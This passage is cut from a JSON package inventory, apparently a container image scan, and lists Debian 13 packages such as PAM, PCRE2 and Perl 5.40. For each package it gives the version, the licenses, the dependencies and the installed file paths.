"/usr/share/locale/zh_HK/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/zu/LC_MESSAGES/Linux-PAM.mo", "/usr/share/man/man5/access.conf.5.gz", "/usr/share/man/man5/faillock.conf.5.gz", "/usr/share/man/man5/group.conf.5.gz", "/usr/share/man/man5/limits.conf.5.gz", "/usr/share/man/man5/namespace.conf.5.gz", "/usr/share/man/man5/pam.conf.5.gz", "/usr/share/man/man5/pam_env.conf.5.gz", "/usr/share/man/man5/pwhistory.conf.5.gz", "/usr/share/man/man5/sepermit.conf.5.gz", "/usr/share/man/man5/time.conf.5.gz", "/usr/share/man/man7/PAM.7.gz", "/usr/share/man/man8/faillock.8.gz", "/usr/share/man/man8/mkhomedir_helper.8.gz", "/usr/share/man/man8/pam-auth-update.8.gz", "/usr/share/man/man8/pam_access.8.gz", "/usr/share/man/man8/pam_canonicalize_user.8.gz", "/usr/share/man/man8/pam_debug.8.gz", "/usr/share/man/man8/pam_deny.8.gz", "/usr/share/man/man8/pam_echo.8.gz", "/usr/share/man/man8/pam_env.8.gz", "/usr/share/man/man8/pam_exec.8.gz", "/usr/share/man/man8/pam_faildelay.8.gz", "/usr/share/man/man8/pam_faillock.8.gz", "/usr/share/man/man8/pam_filter.8.gz", "/usr/share/man/man8/pam_ftp.8.gz", "/usr/share/man/man8/pam_getenv.8.gz", "/usr/share/man/man8/pam_group.8.gz", "/usr/share/man/man8/pam_issue.8.gz", "/usr/share/man/man8/pam_keyinit.8.gz", "/usr/share/man/man8/pam_limits.8.gz", "/usr/share/man/man8/pam_listfile.8.gz", "/usr/share/man/man8/pam_localuser.8.gz", "/usr/share/man/man8/pam_loginuid.8.gz", "/usr/share/man/man8/pam_mail.8.gz", "/usr/share/man/man8/pam_mkhomedir.8.gz", "/usr/share/man/man8/pam_motd.8.gz", "/usr/share/man/man8/pam_namespace.8.gz", "/usr/share/man/man8/pam_namespace_helper.8.gz", "/usr/share/man/man8/pam_nologin.8.gz", "/usr/share/man/man8/pam_permit.8.gz", "/usr/share/man/man8/pam_pwhistory.8.gz", "/usr/share/man/man8/pam_rhosts.8.gz", "/usr/share/man/man8/pam_rootok.8.gz", "/usr/share/man/man8/pam_securetty.8.gz", "/usr/share/man/man8/pam_selinux.8.gz", "/usr/share/man/man8/pam_sepermit.8.gz", "/usr/share/man/man8/pam_setquota.8.gz", "/usr/share/man/man8/pam_shells.8.gz", "/usr/share/man/man8/pam_stress.8.gz", "/usr/share/man/man8/pam_succeed_if.8.gz", "/usr/share/man/man8/pam_time.8.gz", "/usr/share/man/man8/pam_timestamp.8.gz", "/usr/share/man/man8/pam_timestamp_check.8.gz", "/usr/share/man/man8/pam_tty_audit.8.gz", "/usr/share/man/man8/pam_umask.8.gz", "/usr/share/man/man8/pam_unix.8.gz", "/usr/share/man/man8/pam_userdb.8.gz", "/usr/share/man/man8/pam_usertype.8.gz", "/usr/share/man/man8/pam_warn.8.gz", "/usr/share/man/man8/pam_wheel.8.gz", "/usr/share/man/man8/pam_xauth.8.gz", "/usr/share/man/man8/pwhistory_helper.8.gz", "/usr/share/man/man8/unix_chkpwd.8.gz", "/usr/share/man/man8/unix_update.8.gz", "/usr/share/pam-configs/unix", "/usr/share/pam/common-account", "/usr/share/pam/common-account.md5sums", "/usr/share/pam/common-auth", "/usr/share/pam/common-auth.md5sums", "/usr/share/pam/common-password", "/usr/share/pam/common-password.md5sums", "/usr/share/pam/common-session", "/usr/share/pam/common-session-noninteractive", "/usr/share/pam/common-session-noninteractive.md5sums", "/usr/share/pam/common-session.md5sums" ], "AnalyzedBy": "dpkg" }, { "ID": "libpam0g@1.7.0-5", "Name": "libpam0g", "Identifier": { "PURL": "pkg:deb/debian/libpam0g@1.7.0-5?arch=amd64\u0026distro=debian-13.6", "UID": "50a3886f7361785c" }, "Version": "1.7.0", "Release": "5", "Arch": "amd64", "SrcName": "pam", "SrcVersion": "1.7.0", "SrcRelease": "5", "Licenses": [ "BSD-3-Clause", "GPL-2.0-or-later", "GPL-1.0-only", "GPL-2.0-only", "GPL-3.0-only", "GPL-3+ with Bison exception", "BSD-tcp_wrappers", "LGPL-2.0-or-later", "LGPL-2.0-only", "public-domain", "Beerware" ], "Maintainer": "Sam Hartman \u003chartmans@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "debconf@1.5.91", "libaudit1@1:4.0.2-2+b2", "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libpam.so.0.85.1", "/usr/lib/x86_64-linux-gnu/libpam_misc.so.0.82.1", "/usr/lib/x86_64-linux-gnu/libpamc.so.0.82.1", "/usr/share/doc/libpam0g/Debian-PAM-MiniPolicy.gz", "/usr/share/doc/libpam0g/README", "/usr/share/doc/libpam0g/README.Debian", "/usr/share/doc/libpam0g/TODO.Debian", "/usr/share/doc/libpam0g/changelog.Debian.gz", "/usr/share/doc/libpam0g/changelog.gz", "/usr/share/doc/libpam0g/copyright", "/usr/share/lintian/overrides/libpam0g" ], "AnalyzedBy": "dpkg" }, { "ID": "libpcre2-8-0@10.46-1~deb13u1", "Name": "libpcre2-8-0", "Identifier": { "PURL": "pkg:deb/debian/libpcre2-8-0@10.46-1~deb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "aa7e3a6ab471d889" }, "Version": "10.46", "Release": "1~deb13u1", "Arch": "amd64", "SrcName": "pcre2", "SrcVersion": "10.46", "SrcRelease": "1~deb13u1", "Licenses": [ "BSD-3-clause-Cambridge with BINARY LIBRARY-LIKE PACKAGES exception", "BSD-3-Clause", "X11", "BSD-2-Clause", "public-domain" ], "Maintainer": "Matthew Vernon \u003cmatthew@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.14.0", "/usr/share/doc/libpcre2-8-0/README.Debian", "/usr/share/doc/libpcre2-8-0/changelog.Debian.gz", "/usr/share/doc/libpcre2-8-0/changelog.gz", "/usr/share/doc/libpcre2-8-0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libperl5.40@5.40.1-6", "Name": "libperl5.40", "Identifier": { "PURL": "pkg:deb/debian/libperl5.40@5.40.1-6?arch=amd64\u0026distro=debian-13.6", "UID": "921c03a92445e6ec" }, "Version": "5.40.1", "Release": "6", "Arch": "amd64", "SrcName": "perl", "SrcVersion": "5.40.1", "SrcRelease": "6", "Licenses": [ "GPL-1.0-or-later", "Artistic-2.0", "MIT", "REGCOMP", "GPL-2.0-with-bison-exception+", "Unicode", "BZIP", "Zlib", "GPL-2.0-or-later", "FSFAP", "BSD-3-clause-with-weird-numbering", "CC0-1.0", "TEXT-TABS", "BSD-4-clause-POWERDOG", "BSD-3-clause-GENERIC", "BSD-3-Clause", "SDBM-PUBLIC-DOMAIN", "DONT-CHANGE-THE-GPL", "Artistic-dist", "LGPL-2.1-only", "GPL-1.0-only", "GPL-2.0-only", "Artistic-2" ], "Maintainer": "Niko Tyni \u003cntyni@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libbz2-1.0@1.0.8-6", "libc6@2.41-12+deb13u3", "libcrypt1@1:4.4.38-1", "libdb5.3t64@5.3.28+dfsg2-9", "libgdbm-compat4t64@1.24-2", "libgdbm6t64@1.24-2", "perl-modules-5.40@5.40.1-6", "zlib1g@1:1.3.dfsg+really1.3.1-1+b1" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/bin/cpan5.40-x86_64-linux-gnu", "/usr/bin/perl5.40-x86_64-linux-gnu", "/usr/lib/x86_64-linux-gnu/libperl.so.5.40.1", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/B.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/B/Concise.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/B/Showlex.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/B/Terse.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/B/Xref.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/EXTERN.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/INTERN.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/XSUB.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/av.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/bitcount.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/charclass_invlists.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/config.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/cop.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/cv.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/dosish.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/ebcdic_tables.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/embed.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/embedvar.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/fakesdio.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/feature.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/form.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/git_version.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/gv.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/handy.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/hv.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/hv_func.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/hv_macro.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/inline.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/intrpvar.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/invlist_inline.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/iperlsys.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/keywords.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/l1_char_class_tab.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/locale_table.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/malloc_ctl.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/metaconfig.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/mg.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/mg_data.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/mg_raw.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/mg_vtable.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/mydtrace.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/nostdio.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/op.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/op_reg_common.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/opcode.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/opnames.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/overload.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/pad.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/parser.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/patchlevel-debian.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/patchlevel.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/perl.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/perl_inc_macro.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/perl_langinfo.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/perl_siphash.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/perlapi.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/perlio.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/perliol.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/perlsdio.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/perlstatic.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/perlvars.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/perly.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/pp.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/pp_proto.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/proto.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/reentr.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/regcharclass.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/regcomp.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/regcomp_internal.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/regexp.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/reginline.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/regnodes.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/sbox32_hash.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/scope.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/scope_types.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/sv.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/sv_inline.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/thread.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/time64.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/time64_config.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/uni_keywords.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/unicode_constants.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/unixish.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/utf8.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/utfebcdic.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/util.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/uudmap.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/vutil.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/warnings.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/zaphod32_hash.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Compress/Raw/Bzip2.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Compress/Raw/Zlib.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Config.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Config.pod", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Config_git.pl", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Config_heavy.pl", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Cwd.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/DB_File.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Data/Dumper.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Devel/PPPort.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Devel/Peek.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Digest/MD5.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Digest/SHA.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/DynaLoader.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/Alias.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/Byte.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/CJKConstants.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/CN.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/CN/HZ.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/Config.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/EBCDIC.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/Encoder.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/Encoding.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/GSM0338.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/Guess.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/JP.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/JP/H2Z.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/JP/JIS7.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/KR.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/KR/2022_KR.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/MIME/Header.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/MIME/Header/ISO_2022_JP.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/MIME/Name.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/Symbol.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/TW.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/Unicode.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/Unicode/UTF7.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Errno.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Fcntl.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/File/DosGlob.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/File/Glob.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/File/Spec.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/File/Spec/AmigaOS.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/File/Spec/Cygwin.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/File/Spec/Epoc.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/File/Spec/Functions.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/File/Spec/Mac.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/File/Spec/OS2.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/File/Spec/Unix.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/File/Spec/VMS.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/File/Spec/Win32.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Filter/Util/Call.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/GDBM_File.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Hash/Util.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Hash/Util/FieldHash.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/I18N/Langinfo.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/IO.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/IO/Dir.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/IO/File.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/IO/Handle.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/IO/Pipe.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/IO/Poll.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/IO/Seekable.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/IO/Select.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/IO/Socket.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/IO/Socket/INET.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/IO/Socket/UNIX.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/IPC/Msg.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/IPC/Semaphore.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/IPC/SharedMem.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/IPC/SysV.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/List/Util.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/List/Util/XS.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/MIME/Base64.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/MIME/QuotedPrint.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Math/BigInt/FastCalc.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/NDBM_File.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/O.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/ODBM_File.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Opcode.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/POSIX.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/POSIX.pod", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/PerlIO/encoding.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/PerlIO/mmap.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/PerlIO/via.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/SDBM_File.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Scalar/Util.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Socket.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Storable.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Sub/Util.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Sys/Hostname.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Sys/Syslog.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Time/HiRes.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Time/Piece.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Time/Seconds.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Unicode/Collate.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Unicode/Collate/Locale.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Unicode/Normalize.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/_h2ph_pre.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm-generic/bitsperlong.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm-generic/ioctl.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm-generic/ioctls.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm-generic/posix_types.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm-generic/socket.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm-generic/sockios.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm-generic/termbits-common.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm-generic/termbits.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm-generic/termios.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm/bitsperlong.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm/ioctl.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm/ioctls.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm/posix_types.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm/posix_types_32.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm/posix_types_64.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm/posix_types_x32.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm/socket.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm/sockios.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm/termbits.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm/termios.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm/unistd.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm/unistd_32.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm/unistd_64.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm/unistd_x32.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/attributes.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/B/B.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Compress/Raw/Bzip2/Bzip2.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Compress/Raw/Zlib/Zlib.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Cwd/Cwd.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/DB_File/DB_File.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Data/Dumper/Dumper.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Devel/Peek/Peek.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Digest/MD5/MD5.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Digest/SHA/SHA.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Encode/Byte/Byte.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Encode/CN/CN.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Encode/EBCDIC/EBCDIC.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Encode/Encode.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Encode/JP/JP.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Encode/KR/KR.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Encode/Symbol/Symbol.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Encode/TW/TW.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Encode/Unicode/Unicode.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Fcntl/Fcntl.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/File/DosGlob/DosGlob.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/File/Glob/Glob.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Filter/Util/Call/Call.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/GDBM_File/GDBM_File.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Hash/Util/FieldHash/FieldHash.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Hash/Util/Util.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/I18N/Langinfo/Langinfo.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/IO/IO.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/IPC/SysV/SysV.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/List/Util/Util.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/MIME/Base64/Base64.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Math/BigInt/FastCalc/FastCalc.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/NDBM_File/NDBM_File.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/ODBM_File/ODBM_File.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Opcode/Opcode.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/POSIX/POSIX.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/PerlIO/encoding/encoding.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/PerlIO/mmap/mmap.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/PerlIO/via/via.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/SDBM_File/SDBM_File.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Socket/Socket.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Storable/Storable.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Sys/Hostname/Hostname.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Sys/Syslog/Syslog.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Time/HiRes/HiRes.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Time/Piece/Piece.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Unicode/Collate/Collate.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Unicode/Normalize/Normalize.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/attributes/attributes.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/mro/mro.so", 